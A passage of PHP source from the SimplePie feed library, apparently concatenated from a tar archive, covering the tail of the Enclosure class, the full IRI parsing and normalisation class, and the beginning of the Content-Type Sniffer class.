                $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
            }
        }

        // Everything else
        else {
            $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
        }

        return $embed;
    }

    /**
     * Get the real media type
     *
     * Often, feeds lie to us, necessitating a bit of deeper inspection. This
     * converts types to their canonical representations based on the file
     * extension
     *
     * @see get_type()
     * @param bool $find_handler Internal use only, use {@see get_handler()} instead
     * @return string|null MIME type
     */
    public function get_real_type(bool $find_handler = false)
    {
        // Mime-types by handler.
        $types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash
        $types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player
        $types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime
        $types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media
        $types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3

        $type = $this->get_type();
        if ($type !== null) {
            $type = strtolower($type);
        }

        // If we encounter an unsupported mime-type, check the file extension and guess intelligently.
        if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) {
            $extension = $this->get_extension();
            if ($extension === null) {
                return null;
            }

            switch (strtolower($extension)) {
                // Audio mime-types
                case 'aac':
                case 'adts':
                    $type = 'audio/acc';
                    break;

                case 'aif':
                case 'aifc':
                case 'aiff':
                case 'cdda':
                    $type = 'audio/aiff';
                    break;

                case 'bwf':
                    $type = 'audio/wav';
                    break;

                case 'kar':
                case 'mid':
                case 'midi':
                case 'smf':
                    $type = 'audio/midi';
                    break;

                case 'm4a':
                    $type = 'audio/x-m4a';
                    break;

                case 'mp3':
                case 'swa':
                    $type = 'audio/mp3';
                    break;

                case 'wav':
                    $type = 'audio/wav';
                    break;

                case 'wax':
                    $type = 'audio/x-ms-wax';
                    break;

                case 'wma':
                    $type = 'audio/x-ms-wma';
                    break;

                case '3gp':
                case '3gpp':
                    // Video mime-types
                    $type = 'video/3gpp';
                    break;

                case '3g2':
                case '3gp2':
                    $type = 'video/3gpp2';
                    break;

                case 'asf':
                    $type = 'video/x-ms-asf';
                    break;

                case 'flv':
                    $type = 'video/x-flv';
                    break;

                case 'm1a':
                case 'm1s':
                case 'm1v':
                case 'm15':
                case 'm75':
                case 'mp2':
                case 'mpa':
                case 'mpeg':
                case 'mpg':
                case 'mpm':
                case 'mpv':
                    $type = 'video/mpeg';
                    break;

                case 'm4v':
                    $type = 'video/x-m4v';
                    break;

                case 'mov':
                case 'qt':
                    $type = 'video/quicktime';
                    break;

                case 'mp4':
                case 'mpg4':
                    $type = 'video/mp4';
                    break;

                case 'sdv':
                    $type = 'video/sd-video';
                    break;

                case 'wm':
                    $type = 'video/x-ms-wm';
                    break;

                case 'wmv':
                    $type = 'video/x-ms-wmv';
                    break;

                case 'wvx':
                    $type = 'video/x-ms-wvx';
                    break;

                case 'spl':
                    // Flash mime-types
                    $type = 'application/futuresplash';
                    break;

                case 'swf':
                    $type = 'application/x-shockwave-flash';
                    break;
            }
        }

        if ($find_handler) {
            if (in_array($type, $types_flash)) {
                return 'flash';
            } elseif (in_array($type, $types_fmedia)) {
                return 'fmedia';
            } elseif (in_array($type, $types_quicktime)) {
                return 'quicktime';
            } elseif (in_array($type, $types_wmedia)) {
                return 'wmedia';
            } elseif (in_array($type, $types_mp3)) {
                return 'mp3';
            }

            return null;
        }

        return $type;
    }
}

class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure');
IRI.php000064400000103767151450001630005711 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2008 Steve Minutillo
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * IRI parser/serialiser/normaliser
 *
 * @property ?string $scheme
 * @property ?string $userinfo
 * @property ?string $host
 * @property ?int $port
 * @property-write int|string|null $port
 * @property ?string $authority
 * @property string $path
 * @property ?string $query
 * @property ?string $fragment
 */
class IRI
{
    /**
     * Scheme
     *
     * @var ?string
     */
    protected $scheme = null;

    /**
     * User Information
     *
     * @var ?string
     */
    protected $iuserinfo = null;

    /**
     * ihost
     *
     * @var ?string
     */
    protected $ihost = null;

    /**
     * Port
     *
     * @var ?int
     */
    protected $port = null;

    /**
     * ipath
     *
     * @var string
     */
    protected $ipath = '';

    /**
     * iquery
     *
     * @var ?string
     */
    protected $iquery = null;

    /**
     * ifragment
     *
     * @var ?string
     */
    protected $ifragment = null;

    /**
     * Normalization database
     *
     * Each key is the scheme, each value is an array with each key as the IRI
     * part and value as the default value for that part.
     *
     * @var array<string, array<string, mixed>>
     */
    protected $normalization = [
        'acap' => [
            'port' => 674
        ],
        'dict' => [
            'port' => 2628
        ],
        'file' => [
            'ihost' => 'localhost'
        ],
        'http' => [
            'port' => 80,
            'ipath' => '/'
        ],
        'https' => [
            'port' => 443,
            'ipath' => '/'
        ],
    ];

    /**
     * Return the entire IRI when you try and read the object as a string
     *
     * @return string
     */
    public function __toString()
    {
        return (string) $this->get_iri();
    }

    /**
     * Overload __set() to provide access via properties
     *
     * @param string $name Property name
     * @param mixed $value Property value
     * @return void
     */
    public function __set(string $name, $value)
    {
        $callable = [$this, 'set_' . $name];
        if (is_callable($callable)) {
            call_user_func($callable, $value);
        } elseif (
            $name === 'iauthority'
            || $name === 'iuserinfo'
            || $name === 'ihost'
            || $name === 'ipath'
            || $name === 'iquery'
            || $name === 'ifragment'
        ) {
            call_user_func([$this, 'set_' . substr($name, 1)], $value);
        }
    }

    /**
     * Overload __get() to provide access via properties
     *
     * @param string $name Property name
     * @return mixed
     */
    public function __get(string $name)
    {
        // isset() returns false for null, we don't want to do that
        // Also why we use array_key_exists below instead of isset()
        $props = get_object_vars($this);

        if (
            $name === 'iri' ||
            $name === 'uri' ||
            $name === 'iauthority' ||
            $name === 'authority'
        ) {
            $return = $this->{"get_$name"}();
        } elseif (array_key_exists($name, $props)) {
            $return = $this->$name;
        }
        // host -> ihost
        elseif (array_key_exists($prop = 'i' . $name, $props)) {
            $name = $prop;
            $return = $this->$prop;
        }
        // ischeme -> scheme
        elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
            $return = null;
        }

        if ($return === null && isset($this->scheme, $this->normalization[$this->scheme][$name])) {
            return $this->normalization[$this->scheme][$name];
        }

        return $return;
    }

    /**
     * Overload __isset() to provide access via properties
     *
     * @param string $name Property name
     * @return bool
     */
    public function __isset(string $name)
    {
        return method_exists($this, 'get_' . $name) || isset($this->$name);
    }

    /**
     * Overload __unset() to provide access via properties
     *
     * @param string $name Property name
     * @return void
     */
    public function __unset(string $name)
    {
        $callable = [$this, 'set_' . $name];
        if (is_callable($callable)) {
            call_user_func($callable, '');
        }
    }

    /**
     * Create a new IRI object, from a specified string
     *
     * @param string|null $iri
     */
    public function __construct(?string $iri = null)
    {
        $this->set_iri($iri);
    }

    /**
     * Clean up
     * @return void
     */
    public function __destruct()
    {
        $this->set_iri(null, true);
        $this->set_path(null, true);
        $this->set_authority(null, true);
    }

    /**
     * Create a new IRI object by resolving a relative IRI
     *
     * Returns false if $base is not absolute, otherwise an IRI.
     *
     * @param IRI|string $base (Absolute) Base IRI
     * @param IRI|string $relative Relative IRI
     * @return IRI|false
     */
    public static function absolutize($base, $relative)
    {
        if (!($relative instanceof IRI)) {
            $relative = new IRI($relative);
        }
        if (!$relative->is_valid()) {
            return false;
        } elseif ($relative->scheme !== null) {
            return clone $relative;
        } else {
            if (!($base instanceof IRI)) {
                $base = new IRI($base);
            }
            if ($base->scheme !== null && $base->is_valid()) {
                if ($relative->get_iri() !== '') {
                    if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
                        $target = clone $relative;
                        $target->scheme = $base->scheme;
                    } else {
                        $target = new IRI();
                        $target->scheme = $base->scheme;
                        $target->iuserinfo = $base->iuserinfo;
                        $target->ihost = $base->ihost;
                        $target->port = $base->port;
                        if ($relative->ipath !== '') {
                            if ($relative->ipath[0] === '/') {
                                $target->ipath = $relative->ipath;
                            } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
                                $target->ipath = '/' . $relative->ipath;
                            } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
                                $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
                            } else {
                                $target->ipath = $relative->ipath;
                            }
                            $target->ipath = $target->remove_dot_segments($target->ipath);
                            $target->iquery = $relative->iquery;
                        } else {
                            $target->ipath = $base->ipath;
                            if ($relative->iquery !== null) {
                                $target->iquery = $relative->iquery;
                            } elseif ($base->iquery !== null) {
                                $target->iquery = $base->iquery;
                            }
                        }
                        $target->ifragment = $relative->ifragment;
                    }
                } else {
                    $target = clone $base;
                    $target->ifragment = null;
                }
                $target->scheme_normalization();
                return $target;
            }

            return false;
        }
    }

    /**
     * Parse an IRI into scheme/authority/path/query/fragment segments
     *
     * @param string $iri
     * @return array{
     *   scheme: string|null,
     *   authority: string|null,
     *   path: string,
     *   query: string|null,
     *   fragment: string|null,
     * }|false
     */
    protected function parse_iri(string $iri)
    {
        $iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
        if (preg_match('/^(?:(?P<scheme>[^:\/?#]+):)?(:?\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(?:\?(?P<query>[^#]*))?(?:#(?P<fragment>.*))?$/', $iri, $match, \PREG_UNMATCHED_AS_NULL)) {
            // TODO: Remove once we require PHP ≥ 7.4.
            $match['query'] = $match['query'] ?? null;
            $match['fragment'] = $match['fragment'] ?? null;
            return $match;
        }

        // This can occur when a paragraph is accidentally parsed as a URI
        return false;
    }

    /**
     * Remove dot segments from a path
     *
     * @param string $input
     * @return string
     */
    protected function remove_dot_segments(string $input)
    {
        $output = '';
        while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
            // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
            if (strpos($input, '../') === 0) {
                $input = substr($input, 3);
            } elseif (strpos($input, './') === 0) {
                $input = substr($input, 2);
            }
            // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
            elseif (strpos($input, '/./') === 0) {
                $input = substr($input, 2);
            } elseif ($input === '/.') {
                $input = '/';
            }
            // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
            elseif (strpos($input, '/../') === 0) {
                $input = substr($input, 3);
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            } elseif ($input === '/..') {
                $input = '/';
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            }
            // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
            elseif ($input === '.' || $input === '..') {
                $input = '';
            }
            // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
            elseif (($pos = strpos($input, '/', 1)) !== false) {
                $output .= substr($input, 0, $pos);
                $input = substr_replace($input, '', 0, $pos);
            } else {
                $output .= $input;
                $input = '';
            }
        }
        return $output . $input;
    }

    /**
     * Replace invalid character with percent encoding
     *
     * @param string $string Input string
     * @param string $extra_chars Valid characters not in iunreserved or
     *                            iprivate (this is ASCII-only)
     * @param bool $iprivate Allow iprivate
     * @return string
     */
    protected function replace_invalid_with_pct_encoding(string $string, string $extra_chars, bool $iprivate = false)
    {
        // Normalize as many pct-encoded sections as possible
        $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string);
        \assert(\is_string($string), "For PHPStan: Should not occur, the regex is valid");

        // Replace invalid percent characters
        $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);
        \assert(\is_string($string), "For PHPStan: Should not occur, the regex is valid");

        // Add unreserved and % to $extra_chars (the latter is safe because all
        // pct-encoded sections are now valid).
        $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

        // Now replace any bytes that aren't allowed with their pct-encoded versions
        $position = 0;
        $strlen = strlen($string);
        while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
            $value = ord($string[$position]);
            $character = 0;

            // Start position
            $start = $position;

            // By default we are valid
            $valid = true;

            // No one byte sequences are valid due to the while.
            // Two byte sequence:
            if (($value & 0xE0) === 0xC0) {
                $character = ($value & 0x1F) << 6;
                $length = 2;
                $remaining = 1;
            }
            // Three byte sequence:
            elseif (($value & 0xF0) === 0xE0) {
                $character = ($value & 0x0F) << 12;
                $length = 3;
                $remaining = 2;
            }
            // Four byte sequence:
            elseif (($value & 0xF8) === 0xF0) {
                $character = ($value & 0x07) << 18;
                $length = 4;
                $remaining = 3;
            }
            // Invalid byte:
            else {
                $valid = false;
                $length = 1;
                $remaining = 0;
            }

            if ($remaining) {
                if ($position + $length <= $strlen) {
                    for ($position++; $remaining; $position++) {
                        $value = ord($string[$position]);

                        // Check that the byte is valid, then add it to the character:
                        if (($value & 0xC0) === 0x80) {
                            $character |= ($value & 0x3F) << (--$remaining * 6);
                        }
                        // If it is invalid, count the sequence as invalid and reprocess the current byte:
                        else {
                            $valid = false;
                            $position--;
                            break;
                        }
                    }
                } else {
                    $position = $strlen - 1;
                    $valid = false;
                }
            }

            // Percent encode anything invalid or not in ucschar
            if (
                // Invalid sequences
                !$valid
                // Non-shortest form sequences are invalid
                || $length > 1 && $character <= 0x7F
                || $length > 2 && $character <= 0x7FF
                || $length > 3 && $character <= 0xFFFF
                // Outside of range of ucschar codepoints
                // Noncharacters
                || ($character & 0xFFFE) === 0xFFFE
                || $character >= 0xFDD0 && $character <= 0xFDEF
                || (
                    // Everything else not in ucschar
                    $character > 0xD7FF && $character < 0xF900
                    || $character < 0xA0
                    || $character > 0xEFFFD
                )
                && (
                    // Everything not in iprivate, if it applies
                    !$iprivate
                    || $character < 0xE000
                    || $character > 0x10FFFD
                )
            ) {
                // If we were a character, pretend we weren't, but rather an error.
                if ($valid) {
                    $position--;
                }

                for ($j = $start; $j <= $position; $j++) {
                    $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
                    $j += 2;
                    $position += 2;
                    $strlen += 2;
                }
            }
        }

        return $string;
    }

    /**
     * Callback function for preg_replace_callback.
     *
     * Removes sequences of percent encoded bytes that represent UTF-8
     * encoded characters in iunreserved
     *
     * @param array{string} $match PCRE match, a capture group #0 consisting of a sequence of valid percent-encoded bytes
     * @return string Replacement
     */
    protected function remove_iunreserved_percent_encoded(array $match)
    {
        // As we just have valid percent encoded sequences we can just explode
        // and ignore the first member of the returned array (an empty string).
        $bytes = explode('%', $match[0]);

        // Initialize the new string (this is what will be returned) and that
        // there are no bytes remaining in the current sequence (unsurprising
        // at the first byte!).
        $string = '';
        $remaining = 0;

        // these variables will be initialized in the loop but PHPStan is not able to detect it currently
        $start = 0;
        $character = 0;
        $length = 0;
        $valid = true;

        // Loop over each and every byte, and set $value to its value
        for ($i = 1, $len = count($bytes); $i < $len; $i++) {
            $value = hexdec($bytes[$i]);

            // If we're the first byte of sequence:
            if (!$remaining) {
                // Start position
                $start = $i;

                // By default we are valid
                $valid = true;

                // One byte sequence:
                if ($value <= 0x7F) {
                    $character = $value;
                    $length = 1;
                }
                // Two byte sequence:
                elseif (($value & 0xE0) === 0xC0) {
                    $character = ($value & 0x1F) << 6;
                    $length = 2;
                    $remaining = 1;
                }
                // Three byte sequence:
                elseif (($value & 0xF0) === 0xE0) {
                    $character = ($value & 0x0F) << 12;
                    $length = 3;
                    $remaining = 2;
                }
                // Four byte sequence:
                elseif (($value & 0xF8) === 0xF0) {
                    $character = ($value & 0x07) << 18;
                    $length = 4;
                    $remaining = 3;
                }
                // Invalid byte:
                else {
                    $valid = false;
                    $remaining = 0;
                }
            }
            // Continuation byte:
            else {
                // Check that the byte is valid, then add it to the character:
                if (($value & 0xC0) === 0x80) {
                    $remaining--;
                    $character |= ($value & 0x3F) << ($remaining * 6);
                }
                // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
                else {
                    $valid = false;
                    $remaining = 0;
                    $i--;
                }
            }

            // If we've reached the end of the current byte sequence, append it to Unicode::$data
            if (!$remaining) {
                // Percent encode anything invalid or not in iunreserved
                if (
                    // Invalid sequences
                    !$valid
                    // Non-shortest form sequences are invalid
                    || $length > 1 && $character <= 0x7F
                    || $length > 2 && $character <= 0x7FF
                    || $length > 3 && $character <= 0xFFFF
                    // Outside of range of iunreserved codepoints
                    || $character < 0x2D
                    || $character > 0xEFFFD
                    // Noncharacters
                    || ($character & 0xFFFE) === 0xFFFE
                    || $character >= 0xFDD0 && $character <= 0xFDEF
                    // Everything else not in iunreserved (this is all BMP)
                    || $character === 0x2F
                    || $character > 0x39 && $character < 0x41
                    || $character > 0x5A && $character < 0x61
                    || $character > 0x7A && $character < 0x7E
                    || $character > 0x7E && $character < 0xA0
                    || $character > 0xD7FF && $character < 0xF900
                ) {
                    for ($j = $start; $j <= $i; $j++) {
                        $string .= '%' . strtoupper($bytes[$j]);
                    }
                } else {
                    for ($j = $start; $j <= $i; $j++) {
                        // Cast for PHPStan, this will always be a number between 0 and 0xFF so hexdec will return int.
                        $string .= chr((int) hexdec($bytes[$j]));
                    }
                }
            }
        }

        // If we have any bytes left over they are invalid (i.e., we are
        // mid-way through a multi-byte sequence)
        if ($remaining) {
            for ($j = $start; $j < $len; $j++) {
                $string .= '%' . strtoupper($bytes[$j]);
            }
        }

        return $string;
    }

    /**
     * @return void
     */
    protected function scheme_normalization()
    {
        if ($this->scheme === null) {
            return;
        }

        if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
            $this->iuserinfo = null;
        }
        if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
            $this->ihost = null;
        }
        if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
            $this->port = null;
        }
        if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
            $this->ipath = '';
        }
        if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
            $this->iquery = null;
        }
        if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
            $this->ifragment = null;
        }
    }

    /**
     * Check if the object represents a valid IRI. This needs to be done on each
     * call as some things change depending on another part of the IRI.
     *
     * @return bool
     */
    public function is_valid()
    {
        if ($this->ipath === '') {
            return true;
        }

        $isauthority = $this->iuserinfo !== null || $this->ihost !== null ||
            $this->port !== null;
        if ($isauthority && $this->ipath[0] === '/') {
            return true;
        }

        if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) {
            return false;
        }

        // Relative urls cannot have a colon in the first path segment (and the
        // slashes themselves are not included so skip the first character).
        if (!$this->scheme && !$isauthority &&
            strpos($this->ipath, ':') !== false &&
            strpos($this->ipath, '/', 1) !== false &&
            strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) {
            return false;
        }

        return true;
    }

    /**
     * Set the entire IRI. Returns true on success, false on failure (if there
     * are any invalid characters).
     *
     * @param string|null $iri
     * @return bool
     */
    public function set_iri(?string $iri, bool $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return false;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($iri === null) {
            return true;
        } elseif (isset($cache[$iri])) {
            [
                $this->scheme,
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $this->ipath,
                $this->iquery,
                $this->ifragment,
                $return
            ] = $cache[$iri];

            return $return;
        }

        $parsed = $this->parse_iri((string) $iri);
        if (!$parsed) {
            return false;
        }

        $return = $this->set_scheme($parsed['scheme'])
            && $this->set_authority($parsed['authority'])
            && $this->set_path($parsed['path'])
            && $this->set_query($parsed['query'])
            && $this->set_fragment($parsed['fragment']);

        $cache[$iri] = [
            $this->scheme,
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $this->ipath,
            $this->iquery,
            $this->ifragment,
            $return
        ];

        return $return;
    }

    /**
     * Set the scheme. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|null $scheme
     * @return bool
     */
    public function set_scheme(?string $scheme)
    {
        if ($scheme === null) {
            $this->scheme = null;
        } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
            $this->scheme = null;
            return false;
        } else {
            $this->scheme = strtolower($scheme);
        }
        return true;
    }

    /**
     * Set the authority. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|null $authority
     * @return bool
     */
    public function set_authority(?string $authority, bool $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return false;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($authority === null) {
            $this->iuserinfo = null;
            $this->ihost = null;
            $this->port = null;
            return true;
        } elseif (isset($cache[$authority])) {
            [
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $return
            ] = $cache[$authority];

            return $return;
        }

        $remaining = $authority;
        if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
            // Cast for PHPStan on PHP < 8.0. It does not detect that
            // the range is not flipped so substr cannot return false.
            $iuserinfo = (string) substr($remaining, 0, $iuserinfo_end);
            $remaining = substr($remaining, $iuserinfo_end + 1);
        } else {
            $iuserinfo = null;
        }
        if (($port_start = strpos($remaining, ':', intval(strpos($remaining, ']')))) !== false) {
            $port = substr($remaining, $port_start + 1);
            if ($port === false) {
                $port = null;
            }
            $remaining = substr($remaining, 0, $port_start);
        } else {
            $port = null;
        }

        $return = $this->set_userinfo($iuserinfo) &&
                  $this->set_host($remaining) &&
                  $this->set_port($port);

        $cache[$authority] = [
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $return
        ];

        return $return;
    }

    /**
     * Set the iuserinfo.
     *
     * @param string|null $iuserinfo
     * @return bool
     */
    public function set_userinfo(?string $iuserinfo)
    {
        if ($iuserinfo === null) {
            $this->iuserinfo = null;
        } else {
            $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
            $this->scheme_normalization();
        }

        return true;
    }

    /**
     * Set the ihost. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|null $ihost
     * @return bool
     */
    public function set_host(?string $ihost)
    {
        if ($ihost === null) {
            $this->ihost = null;
            return true;
        } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
            if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) {
                $this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']';
            } else {
                $this->ihost = null;
                return false;
            }
        } else {
            $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

            // Lowercase, but ignore pct-encoded sections (as they should
            // remain uppercase). This must be done after the previous step
            // as that can add unescaped characters.
            $position = 0;
            $strlen = strlen($ihost);
            while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
                if ($ihost[$position] === '%') {
                    $position += 3;
                } else {
                    $ihost[$position] = strtolower($ihost[$position]);
                    $position++;
                }
            }

            $this->ihost = $ihost;
        }

        $this->scheme_normalization();

        return true;
    }

    /**
     * Set the port. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string|int|null $port
     * @return bool
     */
    public function set_port($port)
    {
        if ($port === null) {
            $this->port = null;
            return true;
        } elseif (strspn((string) $port, '0123456789') === strlen((string) $port)) {
            $this->port = (int) $port;
            $this->scheme_normalization();
            return true;
        }

        $this->port = null;
        return false;
    }

    /**
     * Set the ipath.
     *
     * @param string|null $ipath
     * @return bool
     */
    public function set_path(?string $ipath, bool $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return false;
        }
        if (!$cache) {
            $cache = [];
        }

        $ipath = (string) $ipath;

        if (isset($cache[$ipath])) {
            $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
        } else {
            $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
            $removed = $this->remove_dot_segments($valid);

            $cache[$ipath] = [$valid, $removed];
            $this->ipath =  ($this->scheme !== null) ? $removed : $valid;
        }

        $this->scheme_normalization();
        return true;
    }

    /**
     * Set the iquery.
     *
     * @param string|null $iquery
     * @return bool
     */
    public function set_query(?string $iquery)
    {
        if ($iquery === null) {
            $this->iquery = null;
        } else {
            $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Set the ifragment.
     *
     * @param string|null $ifragment
     * @return bool
     */
    public function set_fragment(?string $ifragment)
    {
        if ($ifragment === null) {
            $this->ifragment = null;
        } else {
            $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Convert an IRI to a URI (or parts thereof)
     *
     * @param string $string
     * @return string
     */
    public function to_uri(string $string)
    {
        static $non_ascii;
        if (!$non_ascii) {
            $non_ascii = implode('', range("\x80", "\xFF"));
        }

        $position = 0;
        $strlen = strlen($string);
        while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
            $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
            $position += 3;
            $strlen += 2;
        }

        return $string;
    }

    /**
     * Get the complete IRI
     *
     * @return string|false
     */
    public function get_iri()
    {
        if (!$this->is_valid()) {
            return false;
        }

        $iri = '';
        if ($this->scheme !== null) {
            $iri .= $this->scheme . ':';
        }
        if (($iauthority = $this->get_iauthority()) !== null) {
            $iri .= '//' . $iauthority;
        }
        if ($this->ipath !== '') {
            $iri .= $this->ipath;
        } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') {
            $iri .= $this->normalization[$this->scheme]['ipath'];
        }
        if ($this->iquery !== null) {
            $iri .= '?' . $this->iquery;
        }
        if ($this->ifragment !== null) {
            $iri .= '#' . $this->ifragment;
        }

        return $iri;
    }

    /**
     * Get the complete URI
     *
     * @return string
     */
    public function get_uri()
    {
        return $this->to_uri((string) $this->get_iri());
    }

    /**
     * Get the complete iauthority
     *
     * @return ?string
     */
    protected function get_iauthority()
    {
        if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) {
            $iauthority = '';
            if ($this->iuserinfo !== null) {
                $iauthority .= $this->iuserinfo . '@';
            }
            if ($this->ihost !== null) {
                $iauthority .= $this->ihost;
            }
            if ($this->port !== null && $this->port !== 0) {
                $iauthority .= ':' . $this->port;
            }
            return $iauthority;
        }

        return null;
    }

    /**
     * Get the complete authority
     *
     * @return ?string
     */
    protected function get_authority()
    {
        $iauthority = $this->get_iauthority();
        if (is_string($iauthority)) {
            return $this->to_uri($iauthority);
        }

        return $iauthority;
    }
}

class_alias('SimplePie\IRI', 'SimplePie_IRI');
Content/Type/Sniffer.php000064400000016736151450001630011214 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Content\Type;

use InvalidArgumentException;
use SimplePie\File;
use SimplePie\HTTP\Response;

/**
 * Content-type sniffing
 *
 * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
 *
 * This is used since we can't always trust Content-Type headers, and is based
 * upon the HTML5 parsing rules.
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_content_type_sniffer_class()}
 */
class Sniffer
{
    /**
     * File object
     *
     * @var File|Response
     */
    public $file;

    /**
     * Create an instance of the class with the input file
     *
     * @param File|Response $file Input file
     */
    public function __construct(/* File */ $file)
    {
        if (!is_object($file) || !$file instanceof Response) {
            // For BC we're asking for `File`, but internally we accept every `Response` implementation
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($file) must be of type %s',
                __METHOD__,
                File::class
            ), 1);
        }

        $this->file = $file;
    }

    /**
     * Get the Content-Type of the specified file
     *
     * @return string Actual Content-Type
     */
    public function get_type()
    {
        $content_type = $this->file->has_header('content-type') ? $this->file->get_header_line('content-type') : null;
        $content_encoding = $this->file->has_header('content-encoding') ? $this->file->get_header_line('content-encoding') : null;
        if ($content_type !== null) {
            if ($content_encoding === null
                && ($content_type === 'text/plain'
